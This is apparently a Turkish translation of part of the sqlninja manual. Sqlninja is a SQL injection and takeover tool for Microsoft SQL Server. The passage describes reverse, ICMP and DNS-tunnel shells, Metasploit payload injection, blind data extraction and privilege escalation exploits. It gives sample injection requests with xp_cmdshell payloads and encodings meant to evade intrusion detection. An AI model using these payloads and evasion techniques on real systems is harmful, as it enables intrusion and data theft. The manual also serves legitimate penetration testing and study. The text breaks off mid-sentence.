Geri tarama<br />
Kısaca k yazılabilir<br />
Parametreler: -p <br />
Genelde veri tabanı sunucusu güvenlik kalkanının arkasında kalır. Ona<br />
doğrudan erişmek olanaksızdır. Ama sunucunun en az bir kapıdan dış<br />
Dünyaya bağlantısı vardır (DNS, HTTP gibi). Bu konum veri tabanı<br />
sunucusuna SYN paketleri ya da UDP paketleri göndermeyi söyler.<br />
Böylece sqlninja hangi kapıların paketleri aldığını kullanıcıya söyler.<br />
Yapılandırma dosyasında kendi makinenizin IP adresini belirtmelisiniz<br />
(lhost parametresi) ve hangi arayüzü dinleyeceğinizi de<br />
tanımlamalısınız. Sqlninja hangi protokolü kullanacağını sorar<br />
(TCP/UDP) ve bir de kapıları. Bu tanımlar bilinen netcat dil kurallarına<br />
göre yazılmalıdır (örneğin “23 25 80-100” gibi) Eğer sysadmin<br />
yetkimiz yoksa -p parametresine gerek vardır. Bunu kullanabilmek için<br />
netcat daha önce karşı sisteme yüklenmiş olmalıdır. Ayrıca “pcap”<br />
kitaplıkları da kullanılacağından sysadmin ya da root yetkiniz olmalıdır.<br />
Ters kabuk<br />
Kısaca r yazılır<br />
Parametreler: -p <br />
Doğrudan kabuk olmuyor ama backscan konumunda veri tabanı<br />
sunucundan kullandığınız makineye açık kapı bulunmuşsa, o zaman<br />
ters kabuk yapılabilir. Bu komunu kullanırken sqlninja yerel kapısı ve<br />
protokolü sorar ve bağlantıya başlar. Yapılandırma dosyasında kendi<br />
<strong>bilgisayar</strong>ınızın IP numarasını (lhost değeri) belirtmelisiniz. Tabi ki<br />
karşıdaki sistemde netcat yüklenmiş olmalıdır. Ve her zamanki gibi<br />
şifre yetkiler yoksa yazılmalıdır.
ICMP Kabuğu<br />
Kısaca i yazılır<br />
Parametreler: -p <br />
Eğer güvenlik kalkanı doğrudan ya da ters kabuk bağlantısına izin<br />
vermezse ama karşı taraf bizim makineyi ping edebilirse, biz<br />
kabuğumuzu ICMP tüneli içine yerleştirebiliriz. Sadece icmpsh.exe<br />
karşı sisteme yüklenir ve icmp konumu başlatılır ve artık kendi<br />
kabuğunuzla artık çalışabilirsiniz. Karşı taraftaki DBMS için tüm trafik<br />
ICMP paketleri içinden geçer. Saldırıya başlandığında sqlninja<br />
aşağıdaki bilgileri soracaktır:<br />
Veri Saklama Alanı<br />
Bir ICMP paketinde tutulabilecek veri boyudur. Varsayılan 64<br />
bayt, daha hızlı bir tünel kurmak için daha büyük veri boyu<br />
tanımlanabilir. Ama MTU değerine dikkat edilmelidir. Veri Tabanı<br />
Yönetim Sistemi ile aranızdaki MTU ile veri büyüklüğü denetim<br />
altında olmalıdır. Bugünün standartlarında 1300-1400 bayt<br />
arasında bir değer uygun kabul edilir. Daha güvenli olmasını<br />
istiyorsanız daha küçük paketler kullanabilirsiniz.<br />
ICMP yankı istekleri arasında bekleme zamanı<br />
Varsayılan 300 ms'dir. Ama daha hızlı bir tünel için daha küçük<br />
bir değer de kullanabilirsiniz. Unutmayın ki çok küçük bir değer<br />
ping akını oluşturur ki bu yoğunluk fark edilebilir. Ya da yol<br />
üzerindeki bir anti-DoS cihazı tarafından emilip yok edilebilir.<br />
Yanıt zaman aşımı<br />
icmpshell.exe tarafından beklenen yanıt süresidir. Eğer yanıt<br />
gelmezse yeni bir ICMP isteği gönderilir. Varsayılan süre 3000<br />
ms'dir.<br />
Önemli<br />
Sizin <strong>bilgisayar</strong>ınız ICMP yankı isteklerine yanıt vermeyecek biçimde<br />
ayarlanmış olmalıdır. Örneğin Linux ortamında aşağıdaki komut işi<br />
görecektir:<br />
sysctl -w net.ipv4.icmp_echo_ignore_all=1
DNS tüneli<br />
Kısaca d yazabilirsiniz<br />
Parametreler: -p <br />
Eğer doğrudan ve ters kabuk için güvenlik kalkanı engeli varsa, ICMP<br />
kabuğu da yoksa, o zaman DNS tüneli kurmaya çalışırız. Tek<br />
gereksinim şunlardır:<br />
Veri Tabanı sunucusu dışarıdaki sunucu adlarını çözebilmelidir (çoğu<br />
zaman bu geçerlidir)<br />
Bizim IP adresini ise bir yörenin DNS sunucusudur (böyle bir şeyi satın<br />
almak kolaydır). Burada sqlninja.net örneğini kullanırız:<br />
Eğer tüm koşullar sağlandıysa dnstun.exe yüklenir. Daha sonra dns<br />
tünel konumu başlatılır ve komutlarınızı göndermeye başlayabilirsiniz.<br />
Üç aşağı beş yukarı olan şeyler şunlardır:<br />
1 SQL eklemesiyle dnstun.exe programına komut iletilir (bizim<br />
uzaktaki ajanımız gibi çalışır) ve uzaktaki veri tabanı tarafından<br />
komut çalıştırılır. Çıktı yorumlanır ve biraz değişmiş olarak<br />
base32 kalıbında bize erişir.<br />
2 şifrelenmiş çıktı yöredeki sunucu adlarına göre parçalanmıştır<br />
(encoded.output.sqlninja.net)<br />
3 Bu sunucu adları gethostbyname() komutuna geçirilir. Böylece<br />
Veri Tabanı sunucusu kendi Sunucularının DNS<br />
çözümlemelerinde bu sunucuyu kullanmaya başlar.<br />
4 DNS sunucusu sqlninja.net'in yetkili DNS sunucusuna bakar<br />
(bizim IP numaramızdır) ve isteği bizim iş istasyonumuza<br />
gönderir.<br />
5 sqlninja isteği alır ve gerekliyse yeniden yönlendirir. Sunucu<br />
adlarını çözümler ve sonunda komut çıktısını yazdırır. Tabi ki<br />
sqlninja aynı zamanda DNS isteklerine de yanıt verir (sahte IP<br />
numarasıyla) gethostbyname() komutunun hemen dönmesini<br />
sağlamış olur.<br />
Tüm işlem akıcıdır, yani komut çok uzunsa bitmeden siz çıktıda onu<br />
görmeye başlarsınız. Kullanılacak yöre adı (domain) yapılandırma<br />
dosyasında tanımlanır. Tabi sqlninja sahte bir DNS sunucu<br />
yaratacağından ve kapı 53'e bağlı olacağından sizin root yetkisiyle<br />
çalışmanız gerekecektir. Unutulmaması gereken DNS UDP<br />
paketlerinden oluştuğu için paket kayıpları söz konusu olabilir.
Bu ajansın çalışabilir sürümü http://www.mingw.org/ adresindedir. Her<br />
zamanki gibi sysadmin yetkisi olmadığında şifre parametre olarak<br />
verilmelidir.<br />
metasploit (http://sqlninja.sourceforge.net/sqlninja-howto.html#toc2.12)<br />
Kısaca m yazılır<br />
Parametre: yoktur<br />
Basit DOS işaretinden memnun değil misiniz? Gerçek grafik kullanıcı<br />
arayüzü kullanarak arkadaşlarınızı etkilemek ister misiniz? Eğer<br />
yönetici yetkiniz varsa xp_cmdshell çalışıken siz de uygun bir TCP<br />
kapıyı bulursanız (giriş ya da çıkış için) ve sqlninja'yı metasploit için<br />
ambalaj olarak düşünürseniz ya Metaspreter ya da VNC sunucu<br />
başlatın. Metapreter DOS işareti gibi düşünülebilir ama ondan çok<br />
güçlüdür. Böylece uzaktaki işletim sistemi için tümüyle kontrol<br />
edebilecek ortam oluşur. Yönlendirme tablolarını değiştirme, kapı<br />
yönlendirme ve daha birçoğunu yapabilirsiniz. Alternetif olarak eğer<br />
yeteri kadar geniş band aralığınız varsa VNC sunucu ekleyip/başlatıp<br />
uzaktaki veri tabanı için iyi bir grafik erişim ortamı oluşturursunuz. Bu<br />
saldırı komunu tümüyle otomatik olup bir nutshell kabuğunda şunlar<br />
olur:<br />
1 sqlninja sizden Metapreter ya da VNC seçeneklerinden<br />
hangisini kullanacağınızı sorar. Bağlantı doğrudan mı dolaylı mı<br />
olacak ve bağlanılacak sunucu/kapı (ters bağlantı için<br />
bağlanılacak yerel kapı) verilir.<br />
2 Sqlninja ara adım (stager) olarak uygun çalışan program<br />
yaratmak için msfpayload çağırır.<br />
3 Sqlninja sonra bunu bir onarım programına çevirir ve karşıya<br />
yükler.<br />
4 Bizim bir DLL eklememiz gerektiğinden Veri çalıştırmasını<br />
önleme adımını kapatmamız gerekir (aka 'DEP' Windows 2003<br />
SP1'den beri bunlar varsayılan olarak etkindirler). Karşı sistemde<br />
Metasploit'in çeşitli sürümleri bunu otomatik olarak çözer.<br />
Register kayıtlarına ve bizim çalışan programı beyaz listeye<br />
taşıyarak yapar (checkdep parametrelerine bakın)<br />
5 Sonuç olarak Sqlninja msfcli programını çağırır gerekli DLL<br />
dosyasını ekler.
Sqlninja web sitesinde bu saldırıyı gösteren canlı bir video vardır. Tabi<br />
ki bu saldırı konumunu kullanabilmek için sizin <strong>bilgisayar</strong>ınızda<br />
Metasploit3 olmalıdır. Metasploit çalışan programları (msfpayload<br />
msfcli ve msfencode) sizin dosya yolunuzda değilse mutlak yollarını<br />
yapılandırma dosyasında belirtebilirsiniz. Eğer VNC konumunu<br />
kullanıyorsanız VNC istemcisi yüklediğinize emin olun.<br />
SQL komutu<br />
Kısaca c yazılır<br />
Parametre yoktur<br />
Bazen sysadmin yetkiniz olsa da xp_cmdshell çalışsa da, yüklenen<br />
programlarda hata olduğundan ya da kapılar kapatıldığından ya da<br />
DNS ile sunucu adı çözümü kapatıldığından kabuk çalışmaz. Bu<br />
durumda bile Veri Tabanına tek komut gönderebilmek sonuç<br />
görülemese bile yararlı olabilir. Örneğin yerel bir kullanıcı eklemek<br />
istenebilir. Ya da yöresel bir kullanıcı. SQL SUNUCU bu yetkilerle<br />
çalışabilir (tahmin edilenden çok daha fazla bu tür sunucu vardır).<br />
Böyle bir durumda DOS komut penceresinden sqlninja'yı uzaktan<br />
çalıştırabilirsiniz. Yalnız çalıştığını bilir ama çıktısını göremezsiniz. Tabi<br />
ki zamanlamayı izleyerek neler olup bittiğini görebilirsiniz. Örneğin<br />
if exists filename (ping -n 5 127.0.0.1)<br />
eğer komut 5 saniye sürerse dosya var demektir. Bir komutun doğru<br />
çalışıp çalışmadığı ERRORLEVEL çevre değişkeni değerinden de<br />
anlaşılabilir. Değeri eğer son komut doğru çalışmışsa sıfırdır. O zaman<br />
karşı SQL sunucuda SYSTEM yetkisiyle çalışma olup olmadığı:<br />
whoami > who.txt & find /i “\system “ who.txt & if not<br />
errorlevel = 1 ping -n 5 127.0.0.1 & del who.txt<br />
Eğer komut 5 saniye civarında sürerse, SQL SYSTEM yetkisiyle<br />
çalışmaktadır (whoami.exe windows 2003'de varsayılan olarak bulunur<br />
ve windows 2000'de “Resource kit” yüklenmişse vardır). DOS<br />
bilgilerinize yeniden dönerseniz AUTOEXEC.BAT içine komut eklemeyi<br />
anımsayıp servis durdurup başlatma ve gerekli kullanıcı ekleme<br />
işlemlerini yapabilirsiniz.<br />
Bu komun diğer konumlardan biri çalışmadığında yararlı olabilir. Neyin<br />
hatalı olduğunu anlamak ve sorunu çözümlemek için kullanabilirsiniz.<br />
Aşağıdaki komutu yazarak SQL sunucunun kime ait olduğunu<br />
söyleyebilirsiniz:<br />
echo Sahibiniz sqlninja'dır > c:\sqlninja.txt
Veri alma/çekme<br />
Kısaca g<br />
Parametreler: -p <br />
Öncelikle bu konu hala denemeler düzeyindedir. Hala onarılması<br />
gereken hatalar vardır. Doğruluğun son düzeyde olduğunu<br />
düşünmemelisiniz. Bu program parçası (module) 100% etkileşimlidir.<br />
Bu yüzden sqlninja iki etkin kanaldan bu hizmeti sunmaktadır. Bunlar<br />
sırasıyla zaman tabanlı, ve DNS tabanlı ortamlardır.<br />
Zaman Tabanlı<br />
Yapılandırma dosyasında data_channel için time kullanılmışsa<br />
zaman tabanlı kanal kullanılır. WAITFOR DELAY komutu bilgi<br />
almak içindir. Sqlninja zaman tabanlı kırılmada eklemeyi iki<br />
yönlü yapar.<br />
Zaman tabanlı ikili arama<br />
Bu yöntem data_extraction binary olarak seçilmişse<br />
etkinleştirilir. Eğer <strong>bilgisayar</strong>lar konusunda marjinal bilginiz<br />
de olsa, ikili arama algoritmasının nasıl çalıştığını bilirsiniz.<br />
Temelde uygulamaya gönderilecek istekleri en aza<br />
indirgemeye çalışır. Bunun en önemli yararı varlığınızın<br />
dikkat çekici olmamasıdır. Ama sorgulamaların yarısında<br />
bekleme tetiklenecektir. Bunun anlamı yöntemin en hızlı<br />
yöntem olmadığıdır.<br />
Zaman tabanlı sıralı/en iyilenmiş arama<br />
Eğer yapılandırma dosyasında data_extraction için<br />
optimize (en uygun sayılan) ya da serial (seri)<br />
tanımlanmışsa bu yöntem etkinleştirilir. Bu yöntemde tüm<br />
yöntemler sırayla denenir sonunda en uygun olan seçilir.<br />
Aralarındaki tek fark işleme alma sıralamasıdır. Serial ASCII<br />
değerlerin hepsini sırayla denerken ikincisi en çok<br />
kullanılanlardan başlar. Gerçek sıralama language_map<br />
parametresiyle belirlenir. Bu sıralama gerçek zamanlı<br />
olarak güncellenir. Alınan gerçek karakterlerin kullanım<br />
sıklığına göre değişiklik uygulanır (eğer<br />
language_map_adaptive parametresine atama yapılmışsa)<br />
DNS tabanlı alma<br />
DNS yöre ve alt yöreleri üzerinde denetiminiz varsa DNS<br />
Sunucusunun A tipi istekte bulunmasını sağlarsınız. Eğer<br />
uzaktaki veri tabanı yönetim sistemi dış sunucu adlarını<br />
çözebiliyorsa, o zaman arayüz tabanlı bilgi almalardan<br />
vazgeçip ışık hızında bilgi çekmeye başlayabilirsiniz<br />
(karşılaştırmalı olarak bu daha hızlı bir yöntem). Sqlninja<br />
root yetkisiyle çalışıyor olmalı ve domain (yöre)<br />
parametresi tanımlanmış olmalıdır.
Ek Bilgiler<br />
Varsayılan olarak sqlninja çekilen/alınan tüm verileri yerel<br />
SQLite veri tabanında saklar. Veri tabanının adı komut<br />
satırındaki -s parametresinde bulunur. Varsayılan adı<br />
session.db olarak bilinir.<br />
Diğer Saldırılar<br />
Çoğunlukla SQL sunucu SYSTEM olarak çalıştırılmaz ama daha az<br />
yetkili (çoğu zaman “Network Service” ) kullanıcı vardır. Bu saldıranın<br />
yapacaklarını da sınırlar (şifre karışımını çekil almak gibi). Bu<br />
yetkisizlik VNC için de sorunlar oluşturabilir. Genelde boş ve karanlık<br />
bir ekranla karşılaşılabilir. Ama sqlninja ile yetkileri SYSTEM düzeyine<br />
arttırabiliriz. Bunun için iki değişik saldırı yöntemi kullanılabilir.<br />
CVE-2010-0232<br />
Eğer SQL Sunucu az yetkili bir kullanıcı olarak çalışıyorsa ve<br />
makinede CVE-2010-0232 için yama uygulanmamışsa sqlninja<br />
içinde bulunan Tavas Ormandy tarafından yazılan kırılma<br />
programıyla işlem yapılır. Gerçek exploit DOS işaretli pencere<br />
yaratırken bizim sürümümüz sqlserver.exe arar ve SYSTEM<br />
olarak çalışmasını sağlar. Böylece saldırı adımları aşağıdaki<br />
sırayla yapılır:<br />
1 vdmallowe.exe ve vdmexploit.dll yüklemeleri yapılır.<br />
Bunlar bizim sistemimizde apps yolu altında çalışabilir<br />
durumdadır. Script yolu altında (onarılabilir programlar<br />
olarak)<br />
2 sqlcmd_attack mode kullanılarak şu komut çalıştırılır:<br />
%TEMP%\vdmallowed sql<br />
3 Eğer saldırı başarılıysa parmak izi konumu size sql<br />
sunucunun SYSTEM olarak çalıştığını belirtir.
Token Kaçırma<br />
Windows 2003'de yetkilerimizi token kaçırmayla arttırabiliriz.<br />
Cesar Cerrude tarafından araştırılmış bir tekniktir<br />
(http://www.argeniss.com/research/TokenKidnapping.pdf) Bu<br />
kavramın ispatı için churrasco.exe<br />
(http://www.argeniss.com/research/Churrasco.zip) programını<br />
geliştirdi (sqlninja içinde birazcık değiştirilmiş sürümü vardır).<br />
Eğer SYSTEM'e arttırmak isterseniz bu programı yüklemeniz<br />
yeterlidir. Daha sonra usechurrasco seçeneğini yes yapın.<br />
Bundan sonra tüm komutlar churrasco.exe üzerinden geçer. Eğer<br />
karşı sql sunucu bu saldırıya karşın korunacak yamalarla<br />
donatılmışsa işlem çalışmaz. Parmak izi konumunda işlemlerin<br />
çalışıp çalışmadığını görebilirsiniz.<br />
Önemli: churrasco programının değiştirilmiş sürümünü<br />
kullanmayı unutmayın (sqlninja tar topunda olanı) ya da işler<br />
zaten kırılır. Kaynak kodları incelerseniz farkları görebilirsiniz.<br />
Ama farklar aşağıdakilere benzer:<br />
1 ayrıntısız çıktı (eğer -d seçeneği kullanılırsa ayrıntılar<br />
listelenir). Ayrıntılı çıktı parmak izi konumunun 5.<br />
seçeneğiyle çakışır. O seçenek churrasco.exe sonuçları için<br />
geçici bir tablo ya da geçici bilgi saklama alanı oluşturur.<br />
2 yetkisiz kullanıcının %TEMP% klasörünü<br />
1pCurrentDirectory parametresindeki değer olarak<br />
kullanması için CreateProcessAsUser() çağrılır. Sizin<br />
programlar (netcat gibi) SYSTEM'in %TEMP% dosya<br />
yolundadır.<br />
Yapılandırma Dosyası<br />
Yapılandırma dosyası (varsayılanı sqlninja.conf) sqlninja davranışının çoğunu<br />
kontrol eder. Tüm seçenekler<br />
seçenek_adı = seçenek_değeri
içimindedir. Tek fark httprequest HTTP isteğini tanımlar ve eklenti birden<br />
çok satıra dağılmış olabilir. Seçenekler kabaca aşağıdaki sınıflara<br />
bölünmüştür:<br />
Temel:<br />
Saldırıyı ayarlamak için kullanılanlar.<br />
Veri Çekme/Alma<br />
Veri çekme konumunu ayarlamakta kullanılanlar.<br />
İlerlemiş<br />
Ek ince ayarlar için kullanılır.<br />
Seçenekleri bir çoğu büyük küçük harf ayrımı içermez (URL değerleri küçük<br />
harftir). Aynı seçenek birçok kez kullanılabilir, sqlninja her zaman sonuncu<br />
değeri kullanır. Açıklama her yerde kullanılabilir ama “--httprequet_start--”<br />
ve “--httprequest_end--” arasında kullanılamaz. Açıklamanın önünde '#'<br />
karakteri bulunur. Dosyanın İçeriğinde ne olduğu sqlninja.conf.example<br />
dosyasında örnek olarak yer alır.<br />
Temel İşlemler<br />
httprequest (http isteği)<br />
Sürüm 0.2.6'dan sonra http isteğini ayarlamak için sqlninja yeni<br />
bir yöntem kullanmaya başladı. Sunucu, kapı ve sayfa için ayrı<br />
ayrı parametreler yerine HTTP isteği bir kerede tanımlandı. Bir<br />
işaret (varsayılanı __SQL2INJECT__) sql komutlarının nereye<br />
eklenmesi gerektiği gösterildi. Eklenecek vektörün nerede<br />
olacağı konusunda tümüyle geniş bir özgürlük ve esneklik de<br />
getirdi. Artık GET ve POST parametreleriyle sınırlı olmak söz<br />
konusu değildir. İstediğiniz her yere ekleyebilirsiniz. Sqlninja<br />
HTTP isteğini her şey olarak düşünür. Bu bilgi<br />
“--httprequest_start--” ve “--httprequest_end--” satırları arasına<br />
yazılır. Genelde aşağıdaki ögeler eklenmelidir:<br />
HTTP yöntemi (GET ya da POST)<br />
Kaynakların bulunduğu URL adresi (http:// ya da https:// da<br />
dahil olacak biçimde)<br />
Standart değilse kapı numarası (örnek<br />
http://www.victim.com:8080 gibi)
Diğer gerekli başlıkların hepsi<br />
Boş satırdan sonraki gövde (eğer POST kullanılıyorsa)<br />
Genelde en iyi strateji SQL eklemeyi yapacak ve isteği<br />
tetikleyecek proxy kullanmaktır (örneğin Burpsuite). Bunu<br />
sqlninja.conf içine kopyalamak gerekir. Örneğin düzgün metin<br />
olan HTTP'de GET tabanlı ekleme aşağıdaki gibi olabilir:<br />
--httprequest_start--<br />
GET http://www.victim.com/page.asp?<br />
string_param=aaa';__SQL2INJECT__&other_param=blah HTTP/1.1<br />
Host: www.victim.com<br />
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;<br />
rv:1.7.13) Gecko/20060418 Firefox/1.0.8<br />
Accept:<br />
text/xml,application/xml,application/xhtml+xml,text/html;q=0<br />
.9,text/plain;q=0.8,image/png,*/*<br />
Accept-Language: en-us,en;q=0.7,it;q=0.3<br />
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7<br />
Connection: close<br />
--httprequest_end--<br />
Alternatig olarak HTTPS üzerinden POST tabanlı ekleme<br />
aşağıdaki gibi olabilir:<br />
--httprequest_start--<br />
POST https://www.victim.com/page.asp HTTP/1.0<br />
Host: www.victim.com<br />
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13)<br />
Gecko/20060418 Firefox/1.0.8<br />
Accept:<br />
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla<br />
in;q=0.8,image/png,*/*<br />
Accept-Language: en-us,en;q=0.7,it;q=0.3<br />
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7<br />
Content-Type: application/x-www-form-urlencoded<br />
Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx<br />
Connection: close<br />
numeric_param=12;__SQL2INJECT__<br />
--httprequest_end--<br />
sqlninja için Content-Length buradaki eklentilerde yoktur.<br />
Program uygun değeri otomatik hesaplar.<br />
Son olarak cookie (çerez) tabanlı ekleme aşağıdaki gibi<br />
olabilir:
--httprequest_start--<br />
GET http://www.victim.com:8080/page.asp?param1=aaa¶m2=blah<br />
HTTP/1.0<br />
Host: www.victim.com<br />
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13)<br />
Gecko/20060418 Firefox/1.0.8<br />
Accept:<br />
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pla<br />
in;q=0.8,image/png,*/*<br />
Accept-Language: en-us,en;q=0.7,it;q=0.3<br />
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7<br />
Cookie: ASPSESSIONID=xxxxx'%3B__SQL2INJECT__<br />
Connection: close<br />
--httprequest_end--<br />
Tırnaktan sonra noktalı virgülün nasıl kodlandığına bakmayı<br />
unutmayın. Çünkü sunucu cookie'ler (çerezler) arasında<br />
noktalı virgülü ayıraç olarak algılayabilir.<br />
__SQL2INJECT__ işareti öncesinde, asıl sorgulamayı<br />
kapatacak her şeyi eklemelisiniz ve yeni bir tanesine<br />
başlamanız gerekir. Bu tür parametreler ve karakter<br />
sıralamaları size komut ekleme yapma olanağı sunar. Bunun<br />
anlamı:<br />
1 ad ve değer ikilisinden oluşan parametreler (ad+değer)<br />
2 tek tırnak (parametre bir diziyse)<br />
3 noktalı virgül (asıl sorgulamayı sonlandırır)<br />
Tüm bunlara ek olarak asıl sorgulamayı sonlandıracak her<br />
şeyin içerilmesi gerekir. Doğru sayıda aç v kapat parantez<br />
gibi. Örneğin aşağıdaki gibi bir TSQL komutu eklenecekse:<br />
param1=1¶m2=x'));exec+master..xp_cmdshell+'dir+c<br />
:'<br />
Yapılandırma dosyasındaki HTTP isteği aşağıdakileri<br />
içermelidir:<br />
param1=1¶m2=x'));__SQL2INJECT__<br />
Unutulmaması gereken önemli şeyler:
İlk anda SQL ekleme için kullanılacak HTTP isteklerini<br />
birbirlerine yakın göndermek genelde iyi bir tekniktir.<br />
Bazı uç noktalarda azıcık değiştirilen bir başlık bilgisi<br />
bile büyük değişikliklere neden olur. Önerilen ve<br />
genelde güvenle kullanılan HTTP/1.0 değişikliğidir. Bu<br />
biçimde bağlantının açık kalması engellenmiş olur.<br />
Size tüm gücü ve esnekliği sağlayabilmek için sqlninja<br />
çıkarınıza kullanırken hiç birşeyi değiştirmez. Yani<br />
gönderdiğiniz HTTP isteği değişmeden kullanılır<br />
(eklenecek kodun ön ve arkasında bulunan işaretlerin<br />
bulunduğu yerler bu sözün dışındadır). Bu aynı<br />
zamanda sqlninja'nın sizin dil bilgisi olarak<br />
yazdıklarınızı da düzeltmeyeceği anlamına gelir. O<br />
zaman göndereceğiniz HTTP isteğinin doğru<br />
olduğundan emin olmalısınız (tüm URL kodlamaları<br />
dahil). Daha çok bilgi için RFC 1945, RFC 2068 ve RFC<br />
2616 belgelerine bakabilirsiniz.<br />
Eklenen sorgulamadan sonra bile başka SQL kodu<br />
eklemek isteyebilirsiniz (yani işaretten sonra).<br />
Genelde buna gerek olmaz. Sqlninja iki “--” işareti ve<br />
açıklamaları asıl sorgulamanın dışına taşır. Ama bazı<br />
ender durumlarda ek SQL kod eklemek isteyebilirsiniz.<br />
Batch sorguların doğru çalışabilmesi için ayarlarda<br />
“appendcomment = no” yazmayı unutmayın. O<br />
zaman SQL komutlarınız eklenen “--” yüzünden<br />
açıklama gibi yorumlanır.<br />
Bir cookie (çerez) içinde ekleme yapıyorsanız ve asıl<br />
sorgulamayı kapatmak için noktalı virgül gerekiyorsa<br />
%3B ile kodlanmış olarak yazın. Yoksa cookie'nin sonu<br />
olarak nitelendirilir.<br />
Her satırın başında boşluk bırakmayın.<br />
Açıklama satırlarını bırakmayın, onlar isteğin bir<br />
parçası olarak değerlendirilir ve taranır.<br />
Son olarak sqlninja'nın bağlanacağı kapıyı<br />
belirtmezseniz program HTTP için 80, HTTPS için 443<br />
varsayılanını kullanır.
proxyhost<br />
Hedef sunucuya HTTP proxy üzerinden bağlanılır. Örneği<br />
gerektiğinde<br />
proxyhost = 192.168.1.233<br />
yazılır.<br />
proxyport<br />
domain<br />
msfpath<br />
Bizim bağlandığımız HTTP proxy kapıyı varsayılan olarak<br />
8080 olur. Örneğin “proxyport = 3128” yazılabilir.<br />
Saldırgan yöre ya da alt yöreyi denetler. Bunları dns tünel<br />
konumuyla kullanır. Sqlninja'nın başlatıldığı IP adresinden o<br />
yöre için kullanılan DNS sunucusu tanımlanır. Örneğin<br />
“domain = sqlninja.net”<br />
Metasploit programları (msfpayload ve msfcli) için mutlak<br />
yol tanımlanır. Örneğin “msfpath =<br />
/home/icesurfer/tools/framework-3.1”<br />
kaçma (evasion)<br />
Sqlninja imza tabanlı IPS/IDS atlatmak ya da karıştırmak için<br />
bir kaç kaçma tekniği kullanabilir . Şu anda dört teknik<br />
programa uyarlanmıştır.<br />
1 Sorgulamanın onaltı tabanına göre kodlaması.<br />
Sorgulama çalıştırılmadan önce onaltılı tabana göre<br />
kodlanır.<br />
2 ayıraçlar olarak açıklamalar. Tüm boşluklar /**/ ile<br />
değiştirilmiştir.<br />
3 Rastgele olaylar<br />
4 Rastgele URI kodlaması
İlk teknik özellikle kullanışlıdır. Örneğin eğer biz aşağıdaki<br />
komutu eklemek istersek:<br />
exec master..xp_cmdshell 'cmd /C ğing 127.0.0.1'<br />
Asıl sorgulama aşağıdaki gibi olur:<br />
declare @a varchar(8000) set<br />
@a=0x65786563206d61737465722e2e78705f636d6<br />
47368656c6c2027636d64202f432070696e67203132<br />
372e302e302e31273b exec (@a)<br />
Daha uzun bir dizidir ama aşağıdakine dikkat edin:<br />
xp_cmdshell arayan IPS'lere güle güle deriz. SQL<br />
komutları yok DECLARE ve EXEC var sadece...<br />
Tek tırnak da yok. Bu kaçma tekniği çok açık bir<br />
biçimde kullanışlıdır.<br />
Aşağıdakiyle tüm teknikleri birleştirebilirsiniz:<br />
evasion = 1234<br />
Bu bayağı şifrelenmiş bir kod üretebilir:<br />
%64ECl%41RE%2F%2A%2A%2F%40%61%2F%2A<br />
%2A%2F%76Ar%63%48aR%288000%29%2F%2A%2A<br />
%2F%73 ET%2F%2A%2A%2F%40A%3D<br />
%30%586%35786%3563%3206d617%33746%35%37<br />
2%32e2%457870%35F63<br />
6d647368%36%35%36%63%36c2%302%37636D<br />
%3642%30%32f<br />
%34320%37%3069%36%65%36720%331% 332372E<br />
%330%32E3%30%32%45%3312%373b%2F%2A%2A<br />
%2FeX%65%43%2F%2A%2A%2F%28%40A%29<br />
sqlninja varsayılan olarak evasion değerini sıfır yapar ve<br />
kaçma tekniklerinden hiçbiri kullanılmaz.
Önemli<br />
Msfencoder<br />
Eğer GET isteği kullanıyorsanız gereksiz örtünmeyin.<br />
O zaman çok uzun URL olacak ve web sunucu<br />
tarafından doğru taranamayacaktır (parse).<br />
Metasploit adımlayıcı olarak kullanılan bir kodlama biçimidir.<br />
Eğer belirtilmezse kodlama yapılmaz. Ama iyi bir kodlayıcı<br />
her zaman önerilir.<br />
Msfencoder = x86/shikata_ga_nat<br />
Yükleme yöntemi (upload)<br />
İkili program dosyalarını yüklemek için kullanılır. Olası<br />
değerleri “debug” ya da “vbscript” (varsayılan) olabilir.<br />
Örneğin:<br />
upload_method = vbscript<br />
Veri çekme/alma Seçenekleri<br />
Veri kanalı (data_channel)<br />
Bu kanal veri çekme/alam amacıyla kullanılır. Zaman (time)<br />
olabilir (ki varsayılandır), WAITFOR tabanlı çekme kanalı olabilir<br />
(çok yavaş ama her zaman çalışır) ya da “dns” (daha hızlıdır.<br />
Halka açık IP numaranızı çözebilmesi için yöre ve alt yöre<br />
kontrolü olabilmelidir).<br />
Veri çekme/alma (data_extraction)<br />
Zaman tabanlı çekmeden konu açılınca üç olası yöntem vardır.<br />
Eğer ikili (binary) seçilirse, sqlninja ikili tarama yaoar böylece<br />
isteklerin sayısını azaltır. Eğer ardışık (serial) seçilmişse, sqlninja<br />
tüm olası değerleri dener (daha hızlı olabilir çünkü WAITFOR bir<br />
kez tetiklenecektir) ama karşı sistemin kayıtlarında daha fazla<br />
bilgi bırakır. Eğer sıralı en iyilenmiş (serial_optimized) kullanılırsa<br />
sqlninja en olası olanlardan başlayarak tüm olası değerleri dener.<br />
Varsayılan serial_optimized olarak tanımlanmıştır.
Dil Haritası (language_map)<br />
Eğer zaman tabanlı bilgi çekmeyi kullanıyorsanız ve çekme<br />
yöntemi olarak sıralı en iyileşmiş seçilmişse, dil haritası<br />
tanımlayıp karakterlerin sıralanmasını düzenleyebilirsiniz. Hatta<br />
bazı önceden tanımlanmış haritaları lib/langs altından bulup<br />
kullanabilirsiniz. Bu haritalar dildeki harf, boşluk ve bazı<br />
noktalama işaretlerinin kullanım yoğunluğuna göre<br />
düzenlenmiştir. Eğer kendinize göre bir harita istiyorsanız harfleri<br />
ve işaretleri sırayla dizin. Tüm olası karakterleri tanımlamanız<br />
gerekmez.<br />
language_map = lib/langs/en.maps<br />
Evlatlık alınan dil haritası (language_map_adaptive)<br />
Sıralı en iyileştirilmiş bilgi çekme kullanıldığında, sqlninja evlatlık<br />
alma yaklaşımı kullanır. Aslında dil haritasındaki her harfe bir<br />
ağırlık puanı verilir ve her seferinde bir karakter başarılı biçimde<br />
çekildiğinde ağırlık puanı 1 arttırılır. Ninci pozisyondaki<br />
karakterin ağırlık puanı N-1 dekinden yüksekse, haritada yerleri<br />
